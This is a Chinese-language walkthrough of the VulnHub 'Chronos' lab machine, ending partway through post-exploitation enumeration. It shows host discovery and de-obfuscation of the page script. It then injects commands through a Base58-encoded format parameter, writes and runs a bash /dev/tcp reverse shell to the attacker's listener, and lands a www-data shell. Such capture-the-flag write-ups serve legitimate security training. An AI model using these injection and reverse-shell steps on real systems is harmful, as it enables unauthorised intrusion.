靶机: Chronos
靶机: Chronos
准备
-
靶机:https://www.vulnhub.com/entry/chronos-1,735/
- 使用 VirtualBox
- 网络 Host-Only
-
配置网络环境:https://www.cnblogs.com/shadow-/p/16815020.html
- kali: NAT + [ Bridged/Host-Only ]
完成上面内容后,需要对 kali 与 target 做 快照记录 当前环境和布置,以免实验过程中出现错误造成不可挽回的损失
打靶流程
发现目标
进行扫描,推荐工具:
- netdiscover
- arp-scan
- nmap
发现主机,我们可以使用 arp-scan 进行,主要使用参数
-l
:从网络接口配置生成地址,使用网络接口IP地址和网络掩码
以生成目标主机地址的列表,该列表将包括网络和广播-I
:指定网络接口
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1
[sudo] kali 的密码:
Interface: eth1, type: EN10MB, MAC: 08:00:27:ad:7a:24, IPv4: 192.168.56.111
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
192.168.56.100 08:00:27:30:29:a9 PCS Systemtechnik GmbH
192.168.56.113 08:00:27:b5:62:62 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.151 seconds (119.01 hosts/sec). 3 responded
确定存活主机后,通过 nmap 进一步扫描,我们可以确定目标靶机是 192.168.56.113
后,我们需要进一步确定其开放端口
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.56.113
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-25 17:57 CST
Nmap scan report for 192.168.56.113
Host is up (0.0011s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8000/tcp open http Node.js Express framework
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds
- 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
- 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
- 8000/tcp open http Node.js Express framework
尝试攻击
我们可以先尝试访问 http://192.168.56.113:80 端口,查看源码
<!DOCTYPE html>
<meta charset="UTF-8">
<html>
<head>
<link rel="stylesheet" href="css/style.css">
</head>
<body onload="loadDoc()">
<div id="wrapper">
<div class="future-cop">
<h3 class="future">Chronos - Date & Time</h3>
<h1 class="cop">
<p id="date"></p>
</h1>
</div>
</div>
<script>
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
</script>
</body>
-
通过源码我们可以发现其中存在动态交互的代码
<body onload="loadDoc()">
- Body onload 事件是在页面载入完成后立即触发 ,其语法是
onload="JavaScriptCode"
- 说明页面加载完成后触发了 JavaScript 代码
loadDoc()
- Body onload 事件是在页面载入完成后立即触发 ,其语法是
-
根据上面线索,我们发现上面页面加载后触发 JavaScript 代码,而页面源码尾部存在的
<script>
标签内容,明显是加密的 JavaScript 代码
var _0x5bdf = [
'150447srWefj',
'70lwLrol',
'1658165LmcNig',
'open',
'1260881JUqdKM',
'10737CrnEEe',
'2SjTdWC',
'readyState',
'responseText',
'1278676qXleJg',
'797116soVTES',
'onreadystatechange',
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
'User-Agent',
'status',
'1DYOODT',
'400909Mbbcfr',
'Chronos',
'2QRBPWS',
'getElementById',
'innerHTML',
'date'
];
(function (_0x506b95, _0x817e36) {
var _0x244260 = _0x432d;
while (!![]) {
try {
var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
if (_0x35824b === _0x817e36)
break;
else
_0x506b95['push'](_0x506b95['shift']());
} catch (_0x3fb1dc) {
_0x506b95['push'](_0x506b95['shift']());
}
}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
return _0x432d = function (_0x5bdf82, _0x432dc8) {
_0x5bdf82 = _0x5bdf82 - 126;
var _0x4da6e8 = _0x5bdf[_0x5bdf82];
return _0x4da6e8;
}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(137)] = function () {
var _0x146f5d = _0x17df92;
this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}
- 其中的加密只是对变量及函数的名称修改,其数据本身没有变化
- 通过简单的阅读我们可以发现,它会向
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
间存在交互 - 我们可以猜测
chronos.local
域名可能对应的就是靶机
在浏览器的 Web 开发者工具 中的控制台,同样有报错
已拦截跨源请求:同源策略禁止读取位于 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 的远程资源。(原因:CORS 请求未能成功)。状态码:(null)。
- 报错是
http://192.168.56.113:80
向http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
的远程资源请求 - 报错原因是
chronos.local
无法解析
我们可以在本地 /etc/hosts
写入 IP 192.168.56.113
与域名 chronos.local
对应关系,再次访问 http://192.168.56.113:80
查看源码
<html><head><meta charset="UTF-8">
<link rel="stylesheet" href="css/style.css">
</head>
<body onload="loadDoc()">
<div id="wrapper">
<div class="future-cop">
<h3 class="future">Chronos - Date & Time</h3>
<h1 class="cop">
<p id="date">Today is Tuesday, October 25, 2022 11:39:07.
</p>
</h1>
</div>
</div>
<script>
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
</script>
</body></html>
- 发现
<p id="date"></p>
标签增加了一些文本内容Today is Tuesday, October 25, 2022 11:39:07.
- 并且文本内容中的时间是动态的,而 js 的动态代码需要访问
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
的远程资源才能实现
我们需要了解整个通信过程中发生了什么,建议通过浏览器的 Web 开发者工具进行网络拦截,下面两条对 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
的请求及响应
-
OPTIONS
OPTIONS /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1 Host: chronos.local:8000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Access-Control-Request-Method: GET Access-Control-Request-Headers: user-agent Referer: http://192.168.56.113/ Origin: http://192.168.56.113 Connection: keep-alive HTTP/1.1 204 No Content X-Powered-By: Express Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: user-agent Content-Length: 0 Date: Tue, 25 Oct 2022 11:49:54 GMT Connection: keep-alive Keep-Alive: timeout=5
-
GET
GET /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1 Host: chronos.local:8000 User-Agent: Chronos Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Origin: http://192.168.56.113 Connection: keep-alive Referer: http://192.168.56.113/ If-None-Match: W/"2d-PsZR2bm/Ri6PVcgGA5J3M+spbnU" HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: text/html; charset=utf-8 Content-Length: 45 ETag: W/"2d-e8tKXQN2562kykTMB0KQtpk5bMI" Date: Tue, 25 Oct 2022 11:49:54 GMT Connection: keep-alive Keep-Alive: timeout=5 Today is Tuesday, October 25, 2022 11:49:54.
通过上面两个请求,我们已经可以明确,时间的动态实现是通过服务端计算完成的,那么 GET 请求的数据又是什么 GET /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1
- format 是格式化修改的命名,当然我们应该先解密一下请求内容
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
推荐一个线上解密网站:https://gchq.github.io/CyberChef/ - 大致推断是 Base58 加密,结果为
'+Today is %A, %B %d, %Y %H:%M:%S.'
- 说明动态请求是时间格式
我们尝试一下通过,语句拼接注入是否与 shell
相关,使用 curl 发送 GET 请求的注入命令 || ls
# 先使用 Base58 加密注入命令 || ls 结果为 yZSGA
curl \
-H "User-Agent: Chronos" \
-H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \
-H "Origin: http://192.168.56.113" \
-H "Connection: keep-alive" \
-H "Referer: http://192.168.56.113/" \
--include "http://chronos.local:8000/date?format=yZSGA"
- 参数
-H
指定的是之前我们使用浏览器 Web 开发者工具获取的 GET 请求头;此处参数应该根据你自己捕捉的 GET 请求头中的内容,当然不用全部选项 - 参数
--include
查看响应头
使用效果如下
┌──(kali㉿kali)-[~]
└─$ curl \
-H "User-Agent: Chronos" \
-H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \
-H "Origin: http://192.168.56.113" \
-H "Connection: keep-alive" \
-H "Referer: http://192.168.56.113/" \
--include "http://chronos.local:8000/date?format=yZSGA"
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 80
ETag: W/"50-Xyj2XbGXPX1jv8HLpPgUE3VeS9I"
Date: Tue, 25 Oct 2022 13:52:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Tue Oct 25 13:52:15 UTC 2022
app.js
node_modules
package.json
package-lock.json
┌──(kali㉿kali)-[~]
└─$
-
其中的响应体内容很值得我们注意
Tue Oct 25 13:52:15 UTC 2022 app.js node_modules package.json package-lock.json
-
说明此处雀实存在注入漏洞,并且可执行
我们可以尝试,查找 wget
, netcat
, bash
等命令是否存在能有有执行权,我们都能通过它们实现 shell 反弹
诺曼底登陆
上面内容已经查明,存在注入漏洞,探测 /bin
有什么用于远程交互的程序
┌──(kali㉿kali)-[~]
└─$ curl \
-H "User-Agent: Chronos" \
-H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \
-H "Origin: http://192.168.56.113" \
-H "Connection: keep-alive" \
-H "Referer: http://192.168.56.113/" \
--include "http://chronos.local:8000/date?format=F2SaSe3T3SZy3G4RcHK"
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 8698
ETag: W/"21fa-XtkiURgIt2CBvycigXakpI4x1dA"
Date: Tue, 25 Oct 2022 14:07:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Tue Oct 25 14:07:39 UTC 2022
total 15M
-rwxr-xr-x 1 root root 1.1M Jun 6 2019 bash
-rwxr-xr-x 1 root root 700K Mar 12 2018 btrfs
lrwxrwxrwx 1 root root 5 Mar 12 2018 btrfsck -> btrfs
-rwxr-xr-x 1 root root 368K Mar 12 2018 btrfs-debug-tree
-rwxr-xr-x 1 root root 364K Mar 12 2018 btrfs-find-root
-rwxr-xr-x 1 root root 388K Mar 12 2018 btrfs-image
-rwxr-xr-x 1 root root 368K Mar 12 2018 btrfs-map-logical
-rwxr-xr-x 1 root root 364K Mar 12 2018 btrfs-select-super
-rwxr-xr-x 1 root root 368K Mar 12 2018 btrfstune
-rwxr-xr-x 1 root root 364K Mar 12 2018 btrfs-zero-log
-rwxr-xr-x 3 root root 35K Jul 4 2019 bunzip2
-rwxr-xr-x 1 root root 2.0M Sep 18 2020 busybox
-rwxr-xr-x 3 root root 35K Jul 4 2019 bzcat
lrwxrwxrwx 1 root root 6 Jul 4 2019 bzcmp -> bzdiff
-rwxr-xr-x 1 root root 2.1K Jul 4 2019 bzdiff
lrwxrwxrwx 1 root root 6 Jul 4 2019 bzegrep -> bzgrep
-rwxr-xr-x 1 root root 4.8K Jul 4 2019 bzexe
lrwxrwxrwx 1 root root 6 Jul 4 2019 bzfgrep -> bzgrep
-rwxr-xr-x 1 root root 3.6K Jul 4 2019 bzgrep
-rwxr-xr-x 3 root root 35K Jul 4 2019 bzip2
-rwxr-xr-x 1 root root 14K Jul 4 2019 bzip2recover
lrwxrwxrwx 1 root root 6 Jul 4 2019 bzless -> bzmore
-rwxr-xr-x 1 root root 1.3K Jul 4 2019 bzmore
-rwxr-xr-x 1 root root 35K Jan 18 2018 cat
-rwxr-xr-x 1 root root 14K Apr 21 2017 chacl
-rwxr-xr-x 1 root root 63K Jan 18 2018 chgrp
-rwxr-xr-x 1 root root 59K Jan 18 2018 chmod
-rwxr-xr-x 1 root root 67K Jan 18 2018 chown
-rwxr-xr-x 1 root root 11K Jan 22 2018 chvt
-rwxr-xr-x 1 root root 139K Jan 18 2018 cp
-rwxr-xr-x 1 root root 154K Nov 5 2019 cpio
-rwxr-xr-x 1 root root 119K Jan 25 2018 dash
-rwxr-xr-x 1 root root 99K Jan 18 2018 date
-rwxr-xr-x 1 root root 75K Jan 18 2018 dd
-rwxr-xr-x 1 root root 83K Jan 18 2018 df
-rwxr-xr-x 1 root root 131K Jan 18 2018 dir
-rwxr-xr-x 1 root root 71K Sep 16 2020 dmesg
lrwxrwxrwx 1 root root 8 Jan 31 2018 dnsdomainname -> hostname
lrwxrwxrwx 1 root root 8 Jan 31 2018 domainname -> hostname
-rwxr-xr-x 1 root root 167K Jan 22 2018 dumpkeys
-rwxr-xr-x 1 root root 35K Jan 18 2018 echo
-rwxr-xr-x 1 root root 51K Apr 26 2016 ed
-rwxr-xr-x 1 root root 28 Sep 18 2019 egrep
-rwxr-xr-x 1 root root 31K Jan 18 2018 false
-rwxr-xr-x 1 root root 11K Jan 22 2018 fgconsole
-rwxr-xr-x 1 root root 28 Sep 18 2019 fgrep
-rwxr-xr-x 1 root root 64K Sep 16 2020 findmnt
-rwxr-xr-x 1 root root 1.2K Mar 12 2018 fsck.btrfs
-rwxr-xr-x 1 root root 36K Dec 11 2018 fuser
-rwsr-xr-x 1 root root 31K Aug 11 2016 fusermount
-rwxr-xr-x 1 root root 23K Apr 21 2017 getfacl
-rwxr-xr-x 1 root root 215K Sep 18 2019 grep
-rwxr-xr-x 2 root root 2.3K Jun 24 2021 gunzip
-rwxr-xr-x 1 root root 5.8K Jun 24 2021 gzexe
-rwxr-xr-x 1 root root 100K Jun 24 2021 gzip
-rwxr-xr-x 1 root root 19K Jan 31 2018 hostname
-rwxr-xr-x 1 root root 546K Jan 26 2021 ip
-rwxr-xr-x 1 root root 63K Jul 21 2021 journalctl
-rwxr-xr-x 1 root root 11K Jan 22 2018 kbd_mode
-rwxr-xr-x 1 root root 27K Aug 9 2019 kill
-rwxr-xr-x 1 root root 147K Jul 28 2020 kmod
-rwxr-xr-x 1 root root 167K Dec 1 2017 less
-rwxr-xr-x 1 root root 11K Dec 1 2017 lessecho
lrwxrwxrwx 1 root root 8 Dec 1 2017 lessfile -> lesspipe
-rwxr-xr-x 1 root root 20K Dec 1 2017 lesskey
-rwxr-xr-x 1 root root 8.4K Dec 1 2017 lesspipe
-rwxr-xr-x 1 root root 67K Jan 18 2018 ln
-rwxr-xr-x 1 root root 207K Jan 22 2018 loadkeys
-rwxr-xr-x 1 root root 52K Mar 22 2019 login
-rwxr-xr-x 1 root root 51K Jul 21 2021 loginctl
-rwxr-xr-x 1 root root 107K Mar 21 2019 lowntfs-3g
-rwxr-xr-x 1 root root 131K Jan 18 2018 ls
-rwxr-xr-x 1 root root 83K Sep 16 2020 lsblk
lrwxrwxrwx 1 root root 4 Jul 28 2020 lsmod -> kmod
-rwxr-xr-x 1 root root 79K Jan 18 2018 mkdir
-rwxr-xr-x 1 root root 388K Mar 12 2018 mkfs.btrfs
-rwxr-xr-x 1 root root 67K Jan 18 2018 mknod
-rwxr-xr-x 1 root root 43K Jan 18 2018 mktemp
-rwxr-xr-x 1 root root 39K Sep 16 2020 more
-rwsr-xr-x 1 root root 43K Sep 16 2020 mount
-rwxr-xr-x 1 root root 15K Sep 16 2020 mountpoint
lrwxrwxrwx 1 root root 20 Jul 25 2018 mt -> /etc/alternatives/mt
-rwxr-xr-x 1 root root 79K Nov 5 2019 mt-gnu
-rwxr-xr-x 1 root root 135K Jan 18 2018 mv
-rwxr-xr-x 1 root root 241K Mar 6 2018 nano
lrwxrwxrwx 1 root root 20 Jul 25 2018 nc -> /etc/alternatives/nc
-rwxr-xr-x 1 root root 35K May 14 2018 nc.openbsd
lrwxrwxrwx 1 root root 24 Jul 25 2018 netcat -> /etc/alternatives/netcat
-rwxr-xr-x 1 root root 151K Jan 10 2017 netstat
-rwxr-xr-x 1 root root 43K Jul 21 2021 networkctl
lrwxrwxrwx 1 root root 8 Jan 31 2018 nisdomainname -> hostname
-rwxr-xr-x 1 root root 143K Mar 21 2019 ntfs-3g
-rwxr-xr-x 1 root root 11K Mar 21 2019 ntfs-3g.probe
-rwxr-xr-x 1 root root 27K Mar 21 2019 ntfscat
-rwxr-xr-x 1 root root 35K Mar 21 2019 ntfscluster
-rwxr-xr-x 1 root root 35K Mar 21 2019 ntfscmp
-rwxr-xr-x 1 root root 35K Mar 21 2019 ntfsfallocate
-rwxr-xr-x 1 root root 43K Mar 21 2019 ntfsfix
-rwxr-xr-x 1 root root 55K Mar 21 2019 ntfsinfo
-rwxr-xr-x 1 root root 32K Mar 21 2019 ntfsls
-rwxr-xr-x 1 root root 31K Mar 21 2019 ntfsmove
-rwxr-xr-x 1 root root 115K Mar 21 2019 ntfsrecover
-rwxr-xr-x 1 root root 87K Mar 21 2019 ntfssecaudit
-rwxr-xr-x 1 root root 39K Mar 21 2019 ntfstruncate
-rwxr-xr-x 1 root root 31K Mar 21 2019 ntfsusermap
-rwxr-xr-x 1 root root 47K Mar 21 2019 ntfswipe
lrwxrwxrwx 1 root root 6 Jan 22 2018 open -> openvt
-rwxr-xr-x 1 root root 19K Jan 22 2018 openvt
lrwxrwxrwx 1 root root 14 Nov 1 2017 pidof -> /sbin/killall5
-rwsr-xr-x 1 root root 63K Jun 28 2019 ping
lrwxrwxrwx 1 root root 4 Jun 28 2019 ping4 -> ping
lrwxrwxrwx 1 root root 4 Jun 28 2019 ping6 -> ping
-rwxr-xr-x 1 root root 38K Apr 4 2019 plymouth
-rwxr-xr-x 1 root root 131K Aug 9 2019 ps
-rwxr-xr-x 1 root root 35K Jan 18 2018 pwd
lrwxrwxrwx 1 root root 4 Jun 6 2019 rbash -> bash
-rwxr-xr-x 1 root root 43K Jan 18 2018 readlink
-rwxr-xr-x 1 root root 89 Apr 26 2016 red
-rwxr-xr-x 1 root root 63K Jan 18 2018 rm
-rwxr-xr-x 1 root root 43K Jan 18 2018 rmdir
lrwxrwxrwx 1 root root 4 Mar 6 2018 rnano -> nano
-rwxr-xr-x 1 root root 19K Dec 30 2017 run-parts
-rwxr-xr-x 1 root root 107K Jan 30 2018 sed
-rwxr-xr-x 1 root root 35K Apr 21 2017 setfacl
-rwxr-xr-x 1 root root 43K Jan 22 2018 setfont
-rwxr-xr-x 1 root root 39K Apr 23 2019 setupcon
lrwxrwxrwx 1 root root 4 Jul 25 2018 sh -> dash
lrwxrwxrwx 1 root root 4 Jan 25 2018 sh.distrib -> dash
-rwxr-xr-x 1 root root 35K Jan 18 2018 sleep
-rwxr-xr-x 1 root root 137K Jan 26 2021 ss
lrwxrwxrwx 1 root root 7 Sep 18 2020 static-sh -> busybox
-rwxr-xr-x 1 root root 75K Jan 18 2018 stty
-rwsr-xr-x 1 root root 44K Mar 22 2019 su
-rwxr-xr-x 1 root root 35K Jan 18 2018 sync
-rwxr-xr-x 1 root root 179K Jul 21 2021 systemctl
lrwxrwxrwx 1 root root 20 Jul 21 2021 systemd -> /lib/systemd/systemd
-rwxr-xr-x 1 root root 11K Jul 21 2021 systemd-ask-password
-rwxr-xr-x 1 root root 15K Jul 21 2021 systemd-escape
-rwxr-xr-x 1 root root 83K Jul 21 2021 systemd-hwdb
-rwxr-xr-x 1 root root 15K Jul 21 2021 systemd-inhibit
-rwxr-xr-x 1 root root 19K Jul 21 2021 systemd-machine-id-setup
-rwxr-xr-x 1 root root 15K Jul 21 2021 systemd-notify
-rwxr-xr-x 1 root root 43K Jul 21 2021 systemd-sysusers
-rwxr-xr-x 1 root root 71K Jul 21 2021 systemd-tmpfiles
-rwxr-xr-x 1 root root 27K Jul 21 2021 systemd-tty-ask-password-agent
-rwxr-xr-x 1 root root 414K Dec 16 2020 tar
-rwxr-xr-x 1 root root 9.9K Dec 30 2017 tempfile
-rwxr-xr-x 1 root root 87K Jan 18 2018 touch
-rwxr-xr-x 1 root root 31K Jan 18 2018 true
-rwxr-xr-x 1 root root 571K Jul 21 2021 udevadm
-rwxr-xr-x 1 root root 14K Aug 11 2016 ulockmgr_server
-rwsr-xr-x 1 root root 27K Sep 16 2020 umount
-rwxr-xr-x 1 root root 35K Jan 18 2018 uname
-rwxr-xr-x 2 root root 2.3K Jun 24 2021 uncompress
-rwxr-xr-x 1 root root 2.7K Jan 22 2018 unicode_start
-rwxr-xr-x 1 root root 131K Jan 18 2018 vdir
-rwxr-xr-x 1 root root 31K Sep 16 2020 wdctl
-rwxr-xr-x 1 root root 946 Dec 30 2017 which
-rwxr-xr-x 1 root root 27K Jan 12 2018 whiptail
lrwxrwxrwx 1 root root 8 Jan 31 2018 ypdomainname -> hostname
-rwxr-xr-x 1 root root 1.9K Jun 24 2021 zcat
-rwxr-xr-x 1 root root 1.8K Jun 24 2021 zcmp
-rwxr-xr-x 1 root root 5.7K Jun 24 2021 zdiff
-rwxr-xr-x 1 root root 140 Jun 24 2021 zegrep
-rwxr-xr-x 1 root root 140 Jun 24 2021 zfgrep
-rwxr-xr-x 1 root root 2.1K Jun 24 2021 zforce
-rwxr-xr-x 1 root root 5.8K Jun 24 2021 zgrep
-rwxr-xr-x 1 root root 2.0K Jun 24 2021 zless
-rwxr-xr-x 1 root root 1.9K Jun 24 2021 zmore
-rwxr-xr-x 1 root root 5.0K Jun 24 2021 znew
- 明显可以反弹
bash
- 利用
netcat
完成
建立连接分三步
-
建一个 a.sh 文件
&& touch a.sh
-->4BJ88cmrr8TWSEti5M
curl \ -H "User-Agent: Chronos" \ -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \ -H "Origin: http://192.168.56.113" \ -H "Connection: keep-alive" \ -H "Referer: http://192.168.56.113/" \ --include "http://chronos.local:8000/date?format=4BJ88cmrr8TWSEti5M"
-
将反弹 shell 命令
bash -i >& /dev/tcp/Kali IP/监听端口 0>&1
发送&& echo 'bash -i >& /dev/tcp/192.168.56.111/4444 0>&1' > ./a.sh
-->B2K4FCAU1SDpFs1S5Lz6BZeyhpypkmQyyYfeZ3717VL7rKXQ59JFUhUZoEALMGnrfQBXSG3afUySYp9wmysnWs
curl \ -H "User-Agent: Chronos" \ -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \ -H "Origin: http://192.168.56.113" \ -H "Connection: keep-alive" \ -H "Referer: http://192.168.56.113/" \ --include "http://chronos.local:8000/date?format=B2K4FCAU1SDpFs1S5Lz6BZeyhpypkmQyyYfeZ3717VL7rKXQ59JFUhUZoEALMGnrfQBXSG3afUySYp9wmysnWs"
-
在 Kali 上设置端口监听,使用
netcat
设置netcat -lvp 4444
端口以上一步你反弹 shell 的木马为准,然后调用a.sh
脚本使用命令&& bash ./a.sh
-->F2SaQ9Dykw37PPsvZhq
curl \ -H "User-Agent: Chronos" \ -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \ -H "Origin: http://192.168.56.113" \ -H "Connection: keep-alive" \ -H "Referer: http://192.168.56.113/" \ --include "http://chronos.local:8000/date?format=F2SaQ9Dykw37PPsvZhq"
最终效果
┌──(kali㉿kali)-[~]
└─$ netcat -lvp 4444 1 ⨯
listening on [any] 4444 ...
connect to [192.168.56.111] from chronos.local [192.168.56.113] 53012
bash: cannot set terminal process group (734): Inappropriate ioctl for device
bash: no job control in this shell
www-data@chronos:/opt/chronos$ ls
ls
app.js
a.sh
node_modules
package.json
package-lock.json
- 使用 ls 查看,我们已经成功登录目标
探索目标
开始简单的信息收集
www-data@chronos:/home/imera$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@chronos:/home/imera$ uname -a
uname -a
Linux chronos 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
- 用户权限是非常低的
- 系统内核版本 4.15.0-151-generic 也不是能很好利用内核漏洞
我们可以确定一下当前系统中有几个用户
www-data@chronos:/opt/chronos$ cd /home
cd /home
